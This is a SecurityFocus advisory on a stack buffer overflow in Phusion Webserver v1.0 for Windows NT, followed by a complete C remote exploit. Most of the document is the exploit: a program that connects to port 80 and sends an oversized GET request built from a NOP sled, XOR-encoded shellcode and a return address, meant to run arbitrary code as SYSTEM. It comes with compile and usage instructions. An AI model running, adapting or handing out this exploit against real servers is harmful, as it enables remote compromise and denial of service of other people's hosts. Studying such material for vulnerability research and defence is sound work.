source: http://www.securityfocus.com/bid/4119/info

Phusion Webserver is a commercial HTTP server that runs on Microsoft Windows 9x/NT/2000 operating systems.

Phusion Webserver does not perform sufficient bounds checking of externally supplied data. As a result, it is possible for a remote attacker to submit an excessively long web request which may cause stack variables to be overwritten with attacker-supplied instructions.

As webservers normally run with SYSTEM privileges on Microsoft Windows operating systems, this may result in a full compromise of a host running the vulnerable software.

It should be noted that this unchecked buffer may also be exploited to cause a denial of service condition.

/** Phusion-Overun.c 
** -Remote exploit for Phusion Webserver v1.0 for WinNT.
**
** Phusion Webserver v1.0 exploit gets remote servers's full control.
** When you attacks a vulnerable server you can run abitrary code
** inside.
**
** Phusion Webserver v1.0 proof-of-concept exploit.
** By Alex Hernandez <[email protected]> (C)2002.
**
** Thanks all the people from Spain and Argentina.
** Special Greets: White-B, Pablo S0r, Paco Spain, L.Martins, 
** G.Maggiotti & H.Oliveira.
** 
**
** Compile: gcc -o Phusion-ovrun Phusion-ovrun.c
**
** Usage: ./Phusion-ovrun <hostname>
**
**
** 
**
**/


#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/errno.h>
#include <netdb.h>

#define _PORT   80
#define _X 10000

char runcrash[] =
"GET /"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x81\xc7\xc8\x10\x10\x10\x81\xef\x10"
"\x10\x10\x10\x57\x5e\x33\xc0\x66\xb8\x31\x02\x90\x90\x50"
"\x59\xac\x34\x99\xaa\xe2\xfa\x71\x99\x99\x99\x99\xc4\x18"
"\x74\xb1\x89\xd9\x99\xf3\x99\xf1\x19\x99\x99\x99\xf3\x9b"
"\xf3\x99\xf3\x99\xf1\x99\x99\x99\xd9\x14\x2c\xac\x8b\xd9"
"\x99\xcf\xf1\x19\x02\xd4\x99\xc3\x66\x8b\xc9\xc2\xf3\x99"
"\x14\x24\x3a\x89\xd9\x99\xaa\x59\x32\x14\x2c\x3a\x89\xd9"
"\x99\xcf\xf1\xd3\x98\x99\x99\x09\x14\x2c\x72\x89\xd9\x99"
"\xcf\xca\xf1\x49\x05\xd4\x99\xc3\x66\x8b\xca\xf1\x05\x02"
"\xd4\x99\xc3\x66\x8b\xf1\xa9\xd4\xde\x99\xc6\x14\x2c\x3e"
"\x89\xd9\x99\xf3\xdd\x09\x09\x09\x09\xc0\x35\x33\x7b\x65"
"\xf3\x99\x23\x31\x02\xd4\x99\x66\x8b\x99\x99\x99\x99\xca"
"\xfc\xeb\xef\xfc\xeb\xb9\xf1\xf8\xfa\xf2\xfc\xfd\xb7\xa5"
"\xb6\xf1\xab\xa7\xf1\xed\xed\xe9\xa3\xb6\xb6\xee\xee\xee"
"\xb7\xfd\xfc\xfc\xe9\xe3\xf6\xf7\xfc\xb7\xf6\xeb\xfe\xb9"
"\xb9\xca\xe9\xf5\xf6\xf0\xed\xb9\xfa\xf6\xfd\xfc\xfd\xb9"
"\xfb\xe0\xb9\xe5\xc3\xf8\xf7\xb9\xe4\xa3\xb0\xa5\xf1\xed"
"\xf4\xf5\xa7\xa5\xf1\xfc\xf8\xfd\xa7\xa5\xed\xf0\xed\xf5"
"\xfc\xa7\xca\xfc\xeb\xef\xfc\xeb\xb9\xf1\xf8\xfa\xf2\xfc"
"\xfd\xb7\xa5\xb6\xed\xf0\xed\xf5\xfc\xa7\xa5\xb6\xf1\xfc"
"\xf8\xfd\xa7\xa5\xfb\xf6\xfd\xe0\xa7\xa5\xfa\xfc\xf7\xed"
"\xfc\xeb\xa7\xd1\xfc\xf5\xf5\xf6\xb7\xb9\xc0\xf6\xec\xb9"
"\xf8\xeb\xfc\xb9\xeb\xec\xf7\xf7\xf0\xf7\xfe\xb9\xf8\xb9"
"\xc3\xdb\xca\xfc\xeb\xef\xfc\xeb\xb9\xc9\xcb\xd6\xea\xb9"
"\xfb\xec\xfe\xfe\xe0\xb9\xef\xfc\xeb\xea\xf0\xf6\xf7\xb9"
"\xf8\xf7\xfd\xb9\xe0\xf6\xec\xb9\xf1\xf8\xef\xfc\xb9\xfb"
"\xfc\xfc\xf7\xb9\xf8\xfb\xec\xea\xfc\xfd\xb7\xa5\xe9\xa7"
"\xd4\xf6\xeb\xfc\xb9\xf0\xf7\xff\xf6\xeb\xf4\xf8\xed\xf0"
"\xf6\xf7\xb9\xfa\xf8\xf7\xb9\xfb\xfc\xb9\xfd\xf6\xee\xf7"
"\xf5\xf6\xf8\xfd\xb9\xff\xeb\xf6\xf4\xb9\xf1\xed\xed\xe9"
"\xa3\xb6\xb6\xee\xee\xee\xb7\xfd\xfc\xfc\xe9\xe3\xf6\xf7"
"\xfc\xb7\xf6\xeb\xfe\xb9\xf6\xeb\xb9\xf1\xed\xed\xe9\xa3"
"\xb6\xb6\xf4\xf8\xeb\xfc\xf8\xea\xef\xf0\xef\xf8\xea\xb7"
"\xfa\xf3\xfb\xb7\xf7\xfc\xed\xa5\xe9\xa7\xeb\xfc\xfe\xf8"
"\xeb\xfd\xea\xb9\xed\xf6\xb9\xdd\xfc\xfc\xe9\xc3\xf6\xf7"
"\xfc\xb9\xfa\xeb\xfc\xee\xb9\xb1\xcd\xf1\xfc\xce\xf0\xe3"
"\xf8\xeb\xfd\xb5\xb9\xd8\xf7\xec\xea\xf2\xf8\xb9\xf8\xf7"
"\xfd\xb9\xd7\xfc\xf4\xf6\xb0\xa5\xe9\xa7\xda\xf6\xfd\xfc"
"\xfd\xb9\xfb\xe0\xb9\xe5\xc3\xf8\xf7\xb7\xa5\xb6\xfa\xfc"
"\xf7\xed\xfc\xeb\xa7\xa5\xb6\xfb\xf6\xfd\xe0\xa7\xa5\xb6"
"\xf1\xed\xf4\xf5\xa7\xb7\xc5\xf1\xed\xf4\xf5\xc5\xca\xfc"
"\xeb\xef\xfc\xeb\xd8\xfb\xec\xea\xfc\xfd\xfb\xe0\xf0\xc3"
"\xf8\xf7\xb7\xf1\xed\xf4\xf5\x99\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\xac\xe0\xe3\x01";


int     sock;
struct  sockaddr_in sock_a;
struct  hostent *host;

int main (int argc, char *argv[]) {

printf("\nWinNT 4.0 sp5 Phusion Webserver v1.0 BufferOverrun exploit\n");
printf("Alex Hernandez [email protected]\n\n");

if(argc < 2) {
   fprintf(stderr, "Error : Usage: %s <hostname> \n", argv[0]);
   exit(0);
  }


if((host=(struct hostent *)gethostbyname(argv[1])) == NULL) {
    perror("gethostbyname");
    exit(-1);
  }

if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0) {
    perror("create socket");
    exit(-1);
  }

sock_a.sin_family=AF_INET;
sock_a.sin_port=htons(_PORT);
memcpy((char *)&sock_a.sin_addr,(char *)host->h_addr,host->h_length);
if(connect(sock,(struct sockaddr *)&sock_a,sizeof(sock_a))!=0) {
    perror("create connect");
    exit(-1);
  }

  fflush(stdout);

  write(sock,runcrash,_X);
  write(sock,"\n\n", 2);
  printf("done.\n\n");

}